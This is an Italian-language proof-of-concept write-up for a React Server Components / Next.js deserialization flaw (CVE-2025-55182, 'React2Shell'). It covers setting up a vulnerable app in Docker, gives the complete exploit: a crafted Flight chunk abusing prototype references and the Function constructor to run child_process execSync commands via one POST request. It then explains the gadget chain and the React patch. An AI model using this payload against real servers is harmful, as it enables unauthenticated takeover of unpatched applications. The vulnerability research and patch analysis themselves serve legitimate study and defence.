
Prova di concetto per CVE-2025-55182 (React2Shell): RCE non autenticato in React Server Components / Next.js tramite deserializzazione del protocollo Flight.
CVE-2025-55182 è una delle vulnerabilità dei framework web più impattanti del 2025. React Server Components (RSC) è ormai l'architettura dominante nelle applicazioni Next.js moderne, e un gran numero di progetti standard creati con create-next-app è interessato, senza la necessità di alcun codice personalizzato per essere sfruttato.
| Elemento | Contenuto |
|---|---|
| ID CVE | CVE-2025-55182 |
| Alias | React2Shell |
| Tipo di vulnerabilità | Esecuzione Remota di Codice non autenticata (Unauthenticated RCE); CWE-502 Deserializzazione di Dati Non Fidati (Deserialization of Untrusted Data) [3] |
| Punteggio CVSS | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Pacchetti interessati | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Versioni interessate | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 e successive, 15.x, 16.x |
| Complessità dell'attacco | Molto bassa (singola richiesta HTTP POST) |
| Necessità di autenticazione | No |
Creare un'app Next utilizzando una versione vulnerabile (16.0.6):
pnpm create [email protected] next-app --yes
In next-app/app/ creare un nuovo file actions.ts e contrassegnarlo come Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
Nella homepage (ad esempio app/page.tsx) aggiungere un form con action che punti a testAction e includere almeno un campo (es. un hidden input).
Next.js genererà per questo form un hidden input HTML con
name="$ACTION_ID_<40 字元 hex>"; il POC estrarrà questo ID dalla homepage tramite una regex.
I file next-app/Dockerfile e docker-compose.yml nel progetto possono essere usati per buildare ed eseguire l'app Next. Per la scrittura ci si può riferire all'esempio ufficiale [8].
Eseguire nella directory radice del progetto:
docker compose up --build -d
L'app Next sarà accessibile all'indirizzo http://localhost:3000.
Al termine del POC, rimuovere completamente l'ambiente Docker:
docker compose down -v
Durante l'esecuzione del POC, lo script effettuerà il fetch della homepage ed estrarrà l'ID tramite la regex \$ACTION_ID_([a-f0-9]{40})/. Esempio:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
Dopo aver installato le dipendenze nella directory radice del progetto, eseguire:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Di seguito il frammento di codice chiave:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
Esempio di scrittura di un file sulla macchina target:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec per entrare nel container e ispezionare, oppure utilizzare Docker Desktop.La vulnerabilità risiede nel meccanismo di deserializzazione del protocollo Flight di React (RSC Flight Deserializer). Questo meccanismo è responsabile del trasferimento dello stato dei componenti React tra server e client, ma il processo presenta un grave problema di trust boundary.
Il protocollo React Flight è il wire format che React ha progettato per Server Components e Server Actions: serializza l'albero dei componenti, i parametri delle funzioni, ecc., in un flusso di chunk rappresentato in JSON, e stabilisce riferimenti tra i chunk tramite
$numeroe$numero:nomeChiave, consentendo al server di ricostruire i valori JavaScript completi.
Attaccante invia HTTP POST malevolo
↓
[Fase 1] Crea un oggetto con auto-riferimento (Self-referential loop)
↓
[Fase 2] Induce il motore JavaScript a chiamare una funzione controllata dall'attaccante
↓
[Fase 3] Inietta dati malevoli per attivare il flusso di inizializzazione di Flight
↓
[Fase 4] Tramite Blob Handler chiama il Function constructor
↓
Esecuzione di JavaScript arbitrario sul server (RCE)
Le Server Functions di React (in Next.js, le Server Actions) serializzano i dati che il frontend invia al backend tramite il protocollo React Flight in "blocchi" chiamati chunk, inviati poi come form data.
I vantaggi di questo design includono:
I chunk possono riferirsi tra loro, ad esempio:
["$1"] (riferimento al chunk 1){"object":"fruit","name":"$2:fruitName"} (riferimento al fruitName del chunk 2){"fruitName":"cherry"}Il server interpreta ottenendo: { object: 'fruit', name: 'cherry' }. In altre parole, il protocollo consente di puntare alle proprietà di altri chunk con $numero:nomeChiave per comporre l'oggetto JavaScript finale.
Nell'implementazione pre-patch, durante la risoluzione di questi riferimenti non veniva verificato rigorosamente se la chiave esistesse effettivamente come proprietà diretta dell'oggetto; gli attaccanti potevano quindi leggere le proprietà sul prototipo (prototype) dell'oggetto tramite i riferimenti.
Ad esempio, è possibile costruire il seguente payload:
["$1:__proto__:constructor:constructor"]{"x":1}Quando il server risolve "il __proto__ del chunk 1 → constructor → constructor", ottiene il costruttore di Function ([Function: Function]), cioè il costruttore nativo per creare funzioni a partire da stringhe. Ciò significa: tramite una catena di riferimenti impropria, è possibile ottenere Function sul server e quindi eseguire stringhe come codice.
Dopo aver ricevuto il form, Next.js utilizza decodeReplyFromBusboy per ricostruire i chunk in un valore, e su quel valore esegue un await.
In JavaScript, se un oggetto ha un metodo .then, viene considerato thenable; durante l'await viene chiamato questo .then. Pertanto, se si riesce a far sì che il .then del "risultato della decodifica" punti a una funzione controllata dall'attaccante (ad esempio il costruttore di Function menzionato), al momento dell'await quella logica verrà eseguita. Il passo successivo dell'attacco è: costruire un oggetto che dopo la decodifica appaia come un thenable, e far sì che il suo .then punti al punto di chiamata previsto (call gadget).
Usare $@0 per riferire il "chunk originale"
Nel protocollo $@numero significa "prendi il contenuto originale dell'N-esimo chunk, senza ulteriore analisi". Quindi si può fare in modo che chunk 1 sia "$@0", così durante la risoluzione viene letto il contenuto "grezzo" del chunk 0 stesso.
Puntare il .then del chunk 0 al prototipo di Chunk
Se chunk 0 è un oggetto della forma {"then": "$1:__proto__:then", ...}, e chunk 1 è "$@0", durante la risoluzione il .then del chunk 0 viene impostato su Chunk.prototype.then (nel protocollo Flight, Chunk è di per sé un thenable). In questo modo, quando Next.js esegue l'await sul risultato decodificato, entra nella logica di .then di Chunk.
Triggerare initializeModelChunk
In Chunk.prototype.then, se il "finto chunk" ha status impostato a "resolved_model", si entra in . Qui il del chunk viene analizzato come JSON e sull'oggetto risultante viene eseguito un ciclo di "revivificazione" (revive), che gestisce vari prefissi speciali (ad esempio i riferimenti blob che iniziano con ).
React ha corretto questa vulnerabilità nella PR #35277 [9] (commit e2fd5dc [10]), concentrandosi su due aspetti:
Limitare la risoluzione delle proprietà per non seguire la catena del prototipo
Nella logica di risoluzione dei riferimenti ai chunk (ad esempio in requireModule), è stata aggiunta una verifica tramite hasOwnProperty per controllare che la chiave esista effettivamente come proprietà diretta dell'oggetto; in caso contrario, viene restituito undefined, impedendo l'accesso a proprietà come constructor dal __proto__ che non dovrebbero essere esposte. Questa modifica è stata applicata a vari moduli Flight (come ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack e le corrispondenti configurazioni Parcel/Turbopack), bloccando la catena di sfruttamento che portava dal costruttore Function alla costruzione di un thenable fino all'esecuzione di codice arbitrario tramite il get gadget.
Gestione degli errori in decodeReplyFromBusboy
Nell'analisi dei form data (in resolveField, resolveFileComplete, ecc.) è stato aggiunto un blocco try/catch. In caso di eccezione durante l'analisi, viene chiamato busboyStream.destroy(error), in modo che l'errore venga propagato correttamente e lo stream non rimanga in uno stato inconsistente, riducendo la superficie di attacco in caso di analisi anomala.
initializeModelChunkvalue$BPunto di chiamata: _response._formData.get(_prefix + id)
Durante la gestione del prefisso $B, il programma esegue:
response._formData.get(response._prefix + un certo id).
Se nel finto chunk si controllano, tramite _response, sia _formData che _prefix, e si punta _formData.get al costruttore di Function, e si imposta _prefix come la stringa di codice da eseguire, quella riga diventa:
Function("il nostro codice" + "0")
cioè "crea una funzione a partire dalla stringa". Questa funzione viene restituita come valore .then dello stesso chunk e, nella stessa catena di promise, viene chiamata con await, eseguendo così il nostro codice sul server.
RCE effettivo
Sostituendo "il nostro codice" con, ad esempio:
process.mainModule.require('child_process').execSync('comando di sistema da eseguire');
si ottiene Esecuzione Remota di Codice (RCE) sul server.